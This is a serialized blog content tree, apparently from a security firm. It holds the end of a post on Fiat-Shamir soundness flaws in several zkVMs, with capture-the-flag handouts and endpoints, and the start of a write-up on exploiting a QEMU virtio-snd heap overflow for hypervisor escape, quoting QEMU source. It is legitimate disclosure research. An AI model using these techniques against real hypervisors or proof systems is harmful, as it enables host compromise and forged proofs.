3728,"children":123730},{"className":123729},[4776,22016],[123731],{"type":26,"value":335},{"type":21,"tag":85,"props":123733,"children":123735},{"className":123734},[4793],[123736],{"type":21,"tag":85,"props":123737,"children":123739},{"className":123738},[4798],[123740],{"type":21,"tag":85,"props":123741,"children":123743},{"className":123742},[4803],[123744],{"type":21,"tag":85,"props":123745,"children":123747},{"className":123746,"style":4771},[4808],[123748],{"type":21,"tag":85,"props":123749,"children":123750},{"style":4812},[123751,123755],{"type":21,"tag":85,"props":123752,"children":123754},{"className":123753,"style":4818},[4817],[],{"type":21,"tag":85,"props":123756,"children":123758},{"className":123757},[4823,4824,4825,4826],[123759],{"type":21,"tag":85,"props":123760,"children":123762},{"className":123761},[4776,4826],[123763],{"type":26,"value":17718},{"type":21,"tag":85,"props":123765,"children":123767},{"className":123766,"style":4858},[4857],[],{"type":21,"tag":85,"props":123769,"children":123771},{"className":123770},[4863],[123772],{"type":26,"value":5151},{"type":21,"tag":85,"props":123774,"children":123776},{"className":123775,"style":4858},[4857],[],{"type":21,"tag":85,"props":123778,"children":123780},{"className":123779},[4765],[123781,123785,123826,123830,123835],{"type":21,"tag":85,"props":123782,"children":123784},{"className":123783,"style":4771},[4770],[],{"type":21,"tag":85,"props":123786,"children":123788},{"className":123787},[4776],[123789,123794],{"type":21,"tag":85,"props":123790,"children":123792},{"className":123791},[4776,22016],[123793],{"type":26,"value":3994},{"type":21,"tag":85,"props":123795,"children":123797},{"className":123796},[4793],[123798],{"type":21,"tag":85,"props":123799,"children":123801},{"className":123800},[4798],[123802],{"type":21,"tag":85,"props":123803,"children":123805},{"className":123804},[4803],[123806],{"type":21,"tag":85,"props":123807,"children":123809},{"className":123808,"style":4771},[4808],[123810],{"type":21,"tag":85,"props":123811,"children":123812},{"style":4812},[123813,123817],{"type":21,"tag":85,"props":123814,"children":123816},{"className":123815,"style":4818},[4817],[],{"type":21,"tag":85,"props":123818,"children":123820},{"className":123819},[4823,4824,4825,4826],[123821],{"type":21,"tag":85,"props":123822,"children":123824},{"className":123823},[4776,4826],[123825],{"type":26,"value":17718},{"type":21,"tag":85,"props":123827,"children":123829},{"className":123828,"style":4955},[4857],[],{"type":21,"tag":85,"props":123831,"children":123833},{"className":123832},[4960],[123834],{"type":26,"value":741},{"type":21,"tag":85,"props":123836,"children":123838},{"className":123837,"style":4955},[4857],[],{"type":21,"tag":85,"props":123840,"children":123842},{"className":123841},[4765],[123843,123848,123889,123894,123898,123903,123908,123912,123917,123922,123926,123931,123935,123941],{"type":21,"tag":85,"props":123844,"children":123847},{"className":123845,"style":123846},[4770],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":21,"tag":85,"props":123849,"children":123851},{"className":123850},[4776],[123852,123857],{"type":21,"tag":85,"props":123853,"children":123855},{"className":123854},[4776,22016],[123856],{"type":26,"value":3918},{"type":21,"tag":85,"props":123858,"children":123860},{"className":123859},[4793],[123861],{"type":21,"tag":85,"props":123862,"children":123864},{"className":123863},[4798],[123865],{"type":21,"tag":85,"props":123866,"children":123868},{"className":123867},[4803],[123869],{"type":21,"tag":85,"props":123870,"children":123872},{"className":123871,"style":4771},[4808],[123873],{"type":21,"tag":85,"props":123874,"children":123875},{"style":4812},[123876,123880],{"type":21,"tag":85,"props":123877,"children":123879},{"className":123878,"style":4818},[4817],[],{"type":21,"tag":85,"props":123881,"children":123883},{"className":123882},[4823,4824,4825,4826],[123884],{"type":21,"tag":85,"props":123885,"children":123887},{"className":123886},[4776,4826],[123888],{"type":26,"value":17718},{"type":21,"tag":85,"props":123890,"children":123892},{"className":123891},[4889],[123893],{"type":26,"value":4892},{"type":21,"tag":85,"props":123895,"children":123897},{"className":123896,"style":4896},[4857],[],{"type":21,"tag":85,"props":123899,"children":123901},{"className":123900},[4776,22016],[123902],{"type":26,"value":335},{"type":21,"tag":85,"props":123904,"children":123906},{"className":123905},[4889],[123907],{"type":26,"value":4892},{"type":21,"tag":85,"props":123909,"children":123911},{"className":123910,"style":4896},[4857],[],{"type":21,"tag":85,"props":123913,"children":123915},{"className":123914},[4776,22016],[123916],{"type":26,"value":3994},{"type":21,"tag":85,"props":123918,"children":123920},{"className":123919},[4889],[123921],{"type":26,"value":4892},{"type":21,"tag":85,"props":123923,"children":123925},{"className":123924,"style":4896},[4857],[],{"type":21,"tag":85,"props":123927,"children":123929},{"className":123928},[4776,22016],[123930],{"type":26,"value":3918},{"type":21,"tag":85,"props":123932,"children":123934},{"className":123933,"style":4955},[4857],[],{"type":21,"tag":85,"props":123936,"children":123938},{"className":123937},[4960],[123939],{"type":26,"value":123940},"≥",{"type":21,"tag":85,"props":123942,"children":123944},{"className":123943,"style":4955},[4857],[],{"type":21,"tag":85,"props":123946,"children":123948},{"className":123947},[4765],[123949,123953],{"type":21,"tag":85,"props":123950,"children":123952},{"className":123951,"style":94540},[4770],[],{"type":21,"tag":85,"props":123954,"children":123956},{"className":123955},[4776],[123957],{"type":26,"value":4779},{"type":26,"value":123959},". Good luck!",{"type":21,"tag":10022,"props":123961,"children":123963},{"id":123962},"jolt",[123964],{"type":26,"value":108322},{"type":21,"tag":22,"props":123966,"children":123967},{},[123968,123970,123981,123983],{"type":26,"value":123969},"See ",{"type":21,"tag":335,"props":123971,"children":123978},{"href":123972,"target":123973,"rel":123974,"download":123977},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[123975,123976],"noopener","noreferrer","handout_jolt.tar.gz",[123979],{"type":26,"value":123980},"the handout",{"type":26,"value":123982}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":21,"tag":66,"props":123984,"children":123986},{"className":123985},[],[123987],{"type":26,"value":123988},"jolt.chal.osec.io:8960",{"type":21,"tag":10022,"props":123990,"children":123992},{"id":123991},"nexus-1",[123993],{"type":26,"value":108328},{"type":21,"tag":22,"props":123995,"children":123996},{},[123997,123998,124005,124006],{"type":26,"value":123969},{"type":21,"tag":335,"props":123999,"children":124003},{"href":124000,"target":123973,"rel":124001,"download":124002},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[123975,123976],"handout_nexus.tar.gz",[124004],{"type":26,"value":123980},{"type":26,"value":123982},{"type":21,"tag":66,"props":124007,"children":124009},{"className":124008},[],[124010],{"type":26,"value":124011},"nexus.chal.osec.io:8950",{"type":21,"tag":22,"props":124013,"children":124014},{},[124015],{"type":26,"value":124016},"Now you should have enough margin to prove Fermat wrong.",{"type":21,"tag":19218,"props":124018,"children":124019},{},[],{"type":21,"tag":54,"props":124021,"children":124023},{"id":124022},"takeaways",[124024],{"type":26,"value":124025},"Takeaways",{"type":21,"tag":22,"props":124027,"children":124028},{},[124029],{"type":26,"value":124030},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":21,"tag":22,"props":124032,"children":124033},{},[124034],{"type":26,"value":124035},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":21,"tag":22,"props":124037,"children":124038},{},[124039,124044],{"type":21,"tag":873,"props":124040,"children":124041},{},[124042],{"type":26,"value":124043},"For the ZK ecosystem:",{"type":26,"value":124045}," The Fiat-Shamir transform looks simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle binding.",{"type":21,"tag":22,"props":124047,"children":124048},{},[124049],{"type":26,"value":124050},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed today?",{"type":21,"tag":22,"props":124052,"children":124053},{},[124054,124059],{"type":21,"tag":873,"props":124055,"children":124056},{},[124057],{"type":26,"value":124058},"For auditors:",{"type":26,"value":124060}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":21,"tag":22,"props":124062,"children":124063},{},[124064,124069],{"type":21,"tag":873,"props":124065,"children":124066},{},[124067],{"type":26,"value":124068},"For builders:",{"type":26,"value":124070}," Treat the transcript as a sacred ledger. When in doubt, absorb it.",{"type":21,"tag":3632,"props":124072,"children":124073},{},[124074],{"type":26,"value":3636},{"title":7,"searchDepth":98,"depth":98,"links":124076},[124077,124078,124081,124087,124088,124096,124102,124105,124106,124110],{"id":108373,"depth":98,"text":108376},{"id":108515,"depth":98,"text":108518,"children":124079},[124080],{"id":108521,"depth":151,"text":108524},{"id":108950,"depth":98,"text":108953,"children":124082},[124083,124084,124085,124086],{"id":108961,"depth":151,"text":108964},{"id":109149,"depth":151,"text":109152},{"id":112530,"depth":151,"text":112533},{"id":113744,"depth":151,"text":113747},{"id":115381,"depth":98,"text":115384},{"id":115887,"depth":98,"text":115890,"children":124089},[124090,124091,124092,124093,124094,124095],{"id":115909,"depth":151,"text":115912},{"id":117234,"depth":151,"text":108328},{"id":118370,"depth":151,"text":118373},{"id":119038,"depth":151,"text":119041},{"id":121694,"depth":151,"text":121697},{"id":122248,"depth":151,"text":108352},{"id":123177,"depth":98,"text":123180,"children":124097},[124098,124099,124100,124101],{"id":123188,"depth":151,"text":123191},{"id":123358,"depth":151,"text":123361},{"id":123382,"depth":151,"text":123385},{"id":123398,"depth":151,"text":123401},{"id":123412,"depth":98,"text":123415,"children":124103},[124104],{"id":123418,"depth":151,"text":123421},{"id":123452,"depth":98,"text":123455},{"id":123629,"depth":98,"text":108365,"children":124107},[124108,124109],{"id":123962,"depth":151,"text":108322},{"id":123991,"depth":151,"text":108328},{"id":124022,"depth":98,"text":124025},"content:blog:2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims",{"_path":124115,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":124116,"description":124117,"date":124118,"author":124119,"image":124120,"isFeatured":16,"onBlogPage":16,"tags":124122,"body":124125,"_type":3642,"_id":132411,"_source":3644,"_file":132412,"_stem":132413,"_extension":3647},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray techniques.","2026-03-17T12:00:00.000Z","hrvoje",{"src":124121,"width":97730,"height":14041},"/posts/virtio-snd-qemu-0day/title.png",[124123,124124],"qemu","heap-overflow",{"type":18,"children":124126,"toc":132393},[124127,124132,124137,124142,124148,124153,124158,124166,124172,124184,124188,124193,124201,124206,124212,124217,124230,124840,124875,124920,124954,124989,125124,125172,125178,125183,125939,125984,126020,126055,126120,126140,126590,126637,126640,126645,126710,126736,126758,126762,126767,126772,126778,126783,126788,126793,126799,126812,126818,126823,126831,126901,126906,126912,126925,127151,127214,127233,127616,127621,127654,127659,127935,127947,127965,128244,128256,128259,128294,128299,128305,128317,128329,128334,128339,128349,128384,129001,129033,129044,129080,129093,129099,129111,129119,129145,129150,129183,129224,129230,129249,129287,129295,129344,129349,129398,129403,129411,129498,129504,129543,129555,129563,129581,129600,129608,129620,129628,129647,129655,129666,129674,129685,129693,129706,129714,129720,129725,129738,129746,129764,129772,129784,129789,129797,129833,129866,129873,129907,129915,129920,129926,129938,129949,130228,130288,130356,130364,130398,131002,131013,131021,131027,131032,131043,131797,131830,131842,131928,131948,132157,132204,132216,132222,132241,132267,132295,132311,132338,132341,132361,132375,132379,132384,132389],{"type":21,"tag":22,"props":124128,"children":124129},{},[124130],{"type":26,"value":124131},"Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":21,"tag":54,"props":124133,"children":124134},{"id":124123},[124135],{"type":26,"value":124136},"QEMU",{"type":21,"tag":22,"props":124138,"children":124139},{},[124140],{"type":26,"value":124141},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":21,"tag":10022,"props":124143,"children":124145},{"id":124144},"virtio-devices",[124146],{"type":26,"value":124147},"Virtio Devices",{"type":21,"tag":22,"props":124149,"children":124150},{},[124151],{"type":26,"value":124152},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":21,"tag":22,"props":124154,"children":124155},{},[124156],{"type":26,"value":124157},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":21,"tag":22,"props":124159,"children":124160},{},[124161],{"type":21,"tag":4681,"props":124162,"children":124165},{"alt":124163,"src":124164},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":21,"tag":54,"props":124167,"children":124169},{"id":124168},"finding-a-bug",[124170],{"type":26,"value":124171},"Finding a Bug",{"type":21,"tag":22,"props":124173,"children":124174},{},[124175,124177,124183],{"type":26,"value":124176},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":21,"tag":66,"props":124178,"children":124180},{"className":124179},[],[124181],{"type":26,"value":124182},"virtio-snd",{"type":26,"value":73},{"type":21,"tag":10022,"props":124185,"children":124186},{"id":124182},[124187],{"type":26,"value":124182},{"type":21,"tag":22,"props":124189,"children":124190},{},[124191],{"type":26,"value":124192},"From the official documentation:",{"type":21,"tag":3712,"props":124194,"children":124195},{},[124196],{"type":21,"tag":22,"props":124197,"children":124198},{},[124199],{"type":26,"value":124200},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host machine.",{"type":21,"tag":22,"props":124202,"children":124203},{},[124204],{"type":26,"value":124205},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":21,"tag":19318,"props":124207,"children":124209},{"id":124208},"audio-data-buffers",[124210],{"type":26,"value":124211},"Audio Data Buffers",{"type":21,"tag":22,"props":124213,"children":124214},{},[124215],{"type":26,"value":124216},"This audio data flows through buffers allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":21,"tag":22,"props":124218,"children":124219},{},[124220,124222,124228],{"type":26,"value":124221},"For example, the following is ",{"type":21,"tag":66,"props":124223,"children":124225},{"className":124224},[],[124226],{"type":26,"value":124227},"virtio_snd_handle_rx_xfer",{"type":26,"value":124229},", which is responsible for allocating buffers for an input audio stream:",{"type":21,"tag":75,"props":124231,"children":124233},{"code":124232,"language":3918,"meta":7,"className":16935,"style":7},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtQueueElement *elem;\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));     // [1]\n        if (!elem) {\n            break;\n        }\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);                  // [2]\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n            buffer->elem = elem;\n            buffer->vq = vq;\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n        }\n        continue;\n\n        [...]\n}\n\n",[124234],{"type":21,"tag":66,"props":124235,"children":124236},{"__ignoreMap":7},[124237,124244,124252,124260,124267,124275,124283,124291,124339,124346,124363,124370,124377,124389,124406,124413,124449,124469,124480,124487,124494,124502,124509,124542,124601,124619,124658,124683,124707,124735,124762,124800,124807,124819,124826,124833],{"type":21,"tag":85,"props":124238,"children":124239},{"class":87,"line":88},[124240],{"type":21,"tag":85,"props":124241,"children":124242},{"style":92},[124243],{"type":26,"value":49821},{"type":21,"tag":85,"props":124245,"children":124246},{"class":87,"line":98},[124247],{"type":21,"tag":85,"props":124248,"children":124249},{"style":92},[124250],{"type":26,"value":124251}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":21,"tag":85,"props":124253,"children":124254},{"class":87,"line":151},[124255],{"type":21,"tag":85,"props":124256,"children":124257},{"style":92},[124258],{"type":26,"value":124259}," * respective streams for consumption.\n",{"type":21,"tag":85,"props":124261,"children":124262},{"class":87,"line":160},[124263],{"type":21,"tag":85,"props":124264,"children":124265},{"style":92},[124266],{"type":26,"value":19915},{"type":21,"tag":85,"props":124268,"children":124269},{"class":87,"line":185},[124270],{"type":21,"tag":85,"props":124271,"children":124272},{"style":92},[124273],{"type":26,"value":124274}," * @vdev: VirtIOSound device\n",{"type":21,"tag":85,"props":124276,"children":124277},{"class":87,"line":501},[124278],{"type":21,"tag":85,"props":124279,"children":124280},{"style":92},[124281],{"type":26,"value":124282}," * @vq: rx virtqueue\n",{"type":21,"tag":85,"props":124284,"children":124285},{"class":87,"line":697},[124286],{"type":21,"tag":85,"props":124287,"children":124288},{"style":92},[124289],{"type":26,"value":124290}," */\n",{"type":21,"tag":85,"props":124292,"children":124293},{"class":87,"line":706},[124294,124298,124302,124307,124312,124316,124321,124326,124330,124335],{"type":21,"tag":85,"props":124295,"children":124296},{"style":102},[124297],{"type":26,"value":51500},{"type":21,"tag":85,"props":124299,"children":124300},{"style":102},[124301],{"type":26,"value":51505},{"type":21,"tag":85,"props":124303,"children":124304},{"style":1021},[124305],{"type":26,"value":124306}," virtio_snd_handle_rx_xfer",{"type":21,"tag":85,"props":124308,"children":124309},{"style":114},[124310],{"type":26,"value":124311},"(VirtIODevice ",{"type":21,"tag":85,"props":124313,"children":124314},{"style":169},[124315],{"type":26,"value":3052},{"type":21,"tag":85,"props":124317,"children":124318},{"style":120},[124319],{"type":26,"value":124320},"vdev",{"type":21,"tag":85,"props":124322,"children":124323},{"style":114},[124324],{"type":26,"value":124325},", VirtQueue ",{"type":21,"tag":85,"props":124327,"children":124328},{"style":169},[124329],{"type":26,"value":3052},{"type":21,"tag":85,"props":124331,"children":124332},{"style":120},[124333],{"type":26,"value":124334},"vq",{"type":21,"tag":85,"props":124336,"children":124337},{"style":114},[124338],{"type":26,"value":2485},{"type":21,"tag":85,"props":124340,"children":124341},{"class":87,"line":1100},[124342],{"type":21,"tag":85,"props":124343,"children":124344},{"style":114},[124345],{"type":26,"value":11296},{"type":21,"tag":85,"props":124347,"children":124348},{"class":87,"line":1339},[124349,124354,124358],{"type":21,"tag":85,"props":124350,"children":124351},{"style":114},[124352],{"type":26,"value":124353},"    VirtQueueElement ",{"type":21,"tag":85,"props":124355,"children":124356},{"style":169},[124357],{"type":26,"value":3052},{"type":21,"tag":85,"props":124359,"children":124360},{"style":114},[124361],{"type":26,"value":124362},"elem;\n",{"type":21,"tag":85,"props":124364,"children":124365},{"class":87,"line":1348},[124366],{"type":21,"tag":85,"props":124367,"children":124368},{"style":114},[124369],{"type":26,"value":105263},{"type":21,"tag":85,"props":124371,"children":124372},{"class":87,"line":1386},[124373],{"type":21,"tag":85,"props":124374,"children":124375},{"emptyLinePlaceholder":16},[124376],{"type":26,"value":703},{"type":21,"tag":85,"props":124378,"children":124379},{"class":87,"line":1394},[124380,124384],{"type":21,"tag":85,"props":124381,"children":124382},{"style":2885},[124383],{"type":26,"value":3809},{"type":21,"tag":85,"props":124385,"children":124386},{"style":114},[124387],{"type":26,"value":124388}," (;;) {\n",{"type":21,"tag":85,"props":124390,"children":124391},{"class":87,"line":1402},[124392,124397,124401],{"type":21,"tag":85,"props":124393,"children":124394},{"style":114},[124395],{"type":26,"value":124396},"        VirtIOSoundPCMStream ",{"type":21,"tag":85,"props":124398,"children":124399},{"style":169},[124400],{"type":26,"value":3052},{"type":21,"tag":85,"props":124402,"children":124403},{"style":114},[124404],{"type":26,"value":124405},"stream;\n",{"type":21,"tag":85,"props":124407,"children":124408},{"class":87,"line":3145},[124409],{"type":21,"tag":85,"props":124410,"children":124411},{"emptyLinePlaceholder":16},[124412],{"type":26,"value":703},{"type":21,"tag":85,"props":124414,"children":124415},{"class":87,"line":3246},[124416,124421,124425,124430,124435,124439,124444],{"type":21,"tag":85,"props":124417,"children":124418},{"style":114},[124419],{"type":26,"value":124420},"        elem ",{"type":21,"tag":85,"props":124422,"children":124423},{"style":169},[124424],{"type":26,"value":741},{"type":21,"tag":85,"props":124426,"children":124427},{"style":1021},[124428],{"type":26,"value":124429}," virtqueue_pop",{"type":21,"tag":85,"props":124431,"children":124432},{"style":114},[124433],{"type":26,"value":124434},"(vq, ",{"type":21,"tag":85,"props":124436,"children":124437},{"style":102},[124438],{"type":26,"value":55784},{"type":21,"tag":85,"props":124440,"children":124441},{"style":114},[124442],{"type":26,"value":124443},"(VirtQueueElement));",{"type":21,"tag":85,"props":124445,"children":124446},{"style":92},[124447],{"type":26,"value":124448},"     // [1]\n",{"type":21,"tag":85,"props":124450,"children":124451},{"class":87,"line":3255},[124452,124456,124460,124464],{"type":21,"tag":85,"props":124453,"children":124454},{"style":2885},[124455],{"type":26,"value":4044},{"type":21,"tag":85,"props":124457,"children":124458},{"style":114},[124459],{"type":26,"value":717},{"type":21,"tag":85,"props":124461,"children":124462},{"style":169},[124463],{"type":26,"value":21049},{"type":21,"tag":85,"props":124465,"children":124466},{"style":114},[124467],{"type":26,"value":124468},"elem) {\n",{"type":21,"tag":85,"props":124470,"children":124471},{"class":87,"line":3286},[124472,124476],{"type":21,"tag":85,"props":124473,"children":124474},{"style":2885},[124475],{"type":26,"value":4069},{"type":21,"tag":85,"props":124477,"children":124478},{"style":114},[124479],{"type":26,"value":2535},{"type":21,"tag":85,"props":124481,"children":124482},{"class":87,"line":3295},[124483],{"type":21,"tag":85,"props":124484,"children":124485},{"style":114},[124486],{"type":26,"value":4118},{"type":21,"tag":85,"props":124488,"children":124489},{"class":87,"line":3308},[124490],{"type":21,"tag":85,"props":124491,"children":124492},{"emptyLinePlaceholder":16},[124493],{"type":26,"value":703},{"type":21,"tag":85,"props":124495,"children":124496},{"class":87,"line":3333},[124497],{"type":21,"tag":85,"props":124498,"children":124499},{"style":114},[124500],{"type":26,"value":124501},"        [...]\n",{"type":21,"tag":85,"props":124503,"children":124504},{"class":87,"line":3369},[124505],{"type":21,"tag":85,"props":124506,"children":124507},{"emptyLinePlaceholder":16},[124508],{"type":26,"value":703},{"type":21,"tag":85,"props":124510,"children":124511},{"class":87,"line":3377},[124512,124517,124521,124525,124529,124533,124538],{"type":21,"tag":85,"props":124513,"children":124514},{"style":1021},[124515],{"type":26,"value":124516},"        WITH_QEMU_LOCK_GUARD",{"type":21,"tag":85,"props":124518,"children":124519},{"style":114},[124520],{"type":26,"value":1439},{"type":21,"tag":85,"props":124522,"children":124523},{"style":169},[124524],{"type":26,"value":2238},{"type":21,"tag":85,"props":124526,"children":124527},{"style":120},[124528],{"type":26,"value":36709},{"type":21,"tag":85,"props":124530,"children":124531},{"style":114},[124532],{"type":26,"value":14175},{"type":21,"tag":85,"props":124534,"children":124535},{"style":120},[124536],{"type":26,"value":124537},"queue_mutex",{"type":21,"tag":85,"props":124539,"children":124540},{"style":114},[124541],{"type":26,"value":15222},{"type":21,"tag":85,"props":124543,"children":124544},{"class":87,"line":3386},[124545,124550,124554,124559,124563,124567,124571,124576,124580,124584,124588,124593,124597],{"type":21,"tag":85,"props":124546,"children":124547},{"style":114},[124548],{"type":26,"value":124549},"            size ",{"type":21,"tag":85,"props":124551,"children":124552},{"style":169},[124553],{"type":26,"value":741},{"type":21,"tag":85,"props":124555,"children":124556},{"style":1021},[124557],{"type":26,"value":124558}," iov_size",{"type":21,"tag":85,"props":124560,"children":124561},{"style":114},[124562],{"type":26,"value":1439},{"type":21,"tag":85,"props":124564,"children":124565},{"style":120},[124566],{"type":26,"value":52520},{"type":21,"tag":85,"props":124568,"children":124569},{"style":114},[124570],{"type":26,"value":14175},{"type":21,"tag":85,"props":124572,"children":124573},{"style":120},[124574],{"type":26,"value":124575},"in_sg",{"type":21,"tag":85,"props":124577,"children":124578},{"style":114},[124579],{"type":26,"value":256},{"type":21,"tag":85,"props":124581,"children":124582},{"style":120},[124583],{"type":26,"value":52520},{"type":21,"tag":85,"props":124585,"children":124586},{"style":114},[124587],{"type":26,"value":14175},{"type":21,"tag":85,"props":124589,"children":124590},{"style":120},[124591],{"type":26,"value":124592},"in_num",{"type":21,"tag":85,"props":124594,"children":124595},{"style":114},[124596],{"type":26,"value":736},{"type":21,"tag":85,"props":124598,"children":124599},{"style":169},[124600],{"type":26,"value":51317},{"type":21,"tag":85,"props":124602,"children":124603},{"class":87,"line":3394},[124604,124609,124614],{"type":21,"tag":85,"props":124605,"children":124606},{"style":102},[124607],{"type":26,"value":124608},"                sizeof",{"type":21,"tag":85,"props":124610,"children":124611},{"style":114},[124612],{"type":26,"value":124613},"(virtio_snd_pcm_status);",{"type":21,"tag":85,"props":124615,"children":124616},{"style":92},[124617],{"type":26,"value":124618},"                  // [2]\n",{"type":21,"tag":85,"props":124620,"children":124621},{"class":87,"line":3410},[124622,124627,124631,124636,124640,124644,124649,124653],{"type":21,"tag":85,"props":124623,"children":124624},{"style":114},[124625],{"type":26,"value":124626},"            buffer ",{"type":21,"tag":85,"props":124628,"children":124629},{"style":169},[124630],{"type":26,"value":741},{"type":21,"tag":85,"props":124632,"children":124633},{"style":1021},[124634],{"type":26,"value":124635}," g_malloc0",{"type":21,"tag":85,"props":124637,"children":124638},{"style":114},[124639],{"type":26,"value":1439},{"type":21,"tag":85,"props":124641,"children":124642},{"style":102},[124643],{"type":26,"value":55784},{"type":21,"tag":85,"props":124645,"children":124646},{"style":114},[124647],{"type":26,"value":124648},"(VirtIOSoundPCMBuffer) ",{"type":21,"tag":85,"props":124650,"children":124651},{"style":169},[124652],{"type":26,"value":5151},{"type":21,"tag":85,"props":124654,"children":124655},{"style":114},[124656],{"type":26,"value":124657}," size);\n",{"type":21,"tag":85,"props":124659,"children":124660},{"class":87,"line":3427},[124661,124666,124670,124674,124678],{"type":21,"tag":85,"props":124662,"children":124663},{"style":120},[124664],{"type":26,"value":124665},"            buffer",{"type":21,"tag":85,"props":124667,"children":124668},{"style":114},[124669],{"type":26,"value":14175},{"type":21,"tag":85,"props":124671,"children":124672},{"style":120},[124673],{"type":26,"value":52520},{"type":21,"tag":85,"props":124675,"children":124676},{"style":169},[124677],{"type":26,"value":1941},{"type":21,"tag":85,"props":124679,"children":124680},{"style":114},[124681],{"type":26,"value":124682}," elem;\n",{"type":21,"tag":85,"props":124684,"children":124685},{"class":87,"line":3445},[124686,124690,124694,124698,124702],{"type":21,"tag":85,"props":124687,"children":124688},{"style":120},[124689],{"type":26,"value":124665},{"type":21,"tag":85,"props":124691,"children":124692},{"style":114},[124693],{"type":26,"value":14175},{"type":21,"tag":85,"props":124695,"children":124696},{"style":120},[124697],{"type":26,"value":124334},{"type":21,"tag":85,"props":124699,"children":124700},{"style":169},[124701],{"type":26,"value":1941},{"type":21,"tag":85,"props":124703,"children":124704},{"style":114},[124705],{"type":26,"value":124706}," vq;\n",{"type":21,"tag":85,"props":124708,"children":124709},{"class":87,"line":3490},[124710,124714,124718,124723,124727,124731],{"type":21,"tag":85,"props":124711,"children":124712},{"style":120},[124713],{"type":26,"value":124665},{"type":21,"tag":85,"props":124715,"children":124716},{"style":114},[124717],{"type":26,"value":14175},{"type":21,"tag":85,"props":124719,"children":124720},{"style":120},[124721],{"type":26,"value":124722},"size",{"type":21,"tag":85,"props":124724,"children":124725},{"style":169},[124726],{"type":26,"value":1941},{"type":21,"tag":85,"props":124728,"children":124729},{"style":2285},[124730],{"type":26,"value":2830},{"type":21,"tag":85,"props":124732,"children":124733},{"style":114},[124734],{"type":26,"value":2535},{"type":21,"tag":85,"props":124736,"children":124737},{"class":87,"line":3596},[124738,124742,124746,124750,124754,124758],{"type":21,"tag":85,"props":124739,"children":124740},{"style":120},[124741],{"type":26,"value":124665},{"type":21,"tag":85,"props":124743,"children":124744},{"style":114},[124745],{"type":26,"value":14175},{"type":21,"tag":85,"props":124747,"children":124748},{"style":120},[124749],{"type":26,"value":14319},{"type":21,"tag":85,"props":124751,"children":124752},{"style":169},[124753],{"type":26,"value":1941},{"type":21,"tag":85,"props":124755,"children":124756},{"style":2285},[124757],{"type":26,"value":2830},{"type":21,"tag":85,"props":124759,"children":124760},{"style":114},[124761],{"type":26,"value":2535},{"type":21,"tag":85,"props":124763,"children":124764},{"class":87,"line":23938},[124765,124770,124774,124778,124782,124786,124791,124796],{"type":21,"tag":85,"props":124766,"children":124767},{"style":1021},[124768],{"type":26,"value":124769},"            QSIMPLEQ_INSERT_TAIL",{"type":21,"tag":85,"props":124771,"children":124772},{"style":114},[124773],{"type":26,"value":1439},{"type":21,"tag":85,"props":124775,"children":124776},{"style":169},[124777],{"type":26,"value":2238},{"type":21,"tag":85,"props":124779,"children":124780},{"style":120},[124781],{"type":26,"value":36709},{"type":21,"tag":85,"props":124783,"children":124784},{"style":114},[124785],{"type":26,"value":14175},{"type":21,"tag":85,"props":124787,"children":124788},{"style":120},[124789],{"type":26,"value":124790},"queue",{"type":21,"tag":85,"props":124792,"children":124793},{"style":114},[124794],{"type":26,"value":124795},", buffer, 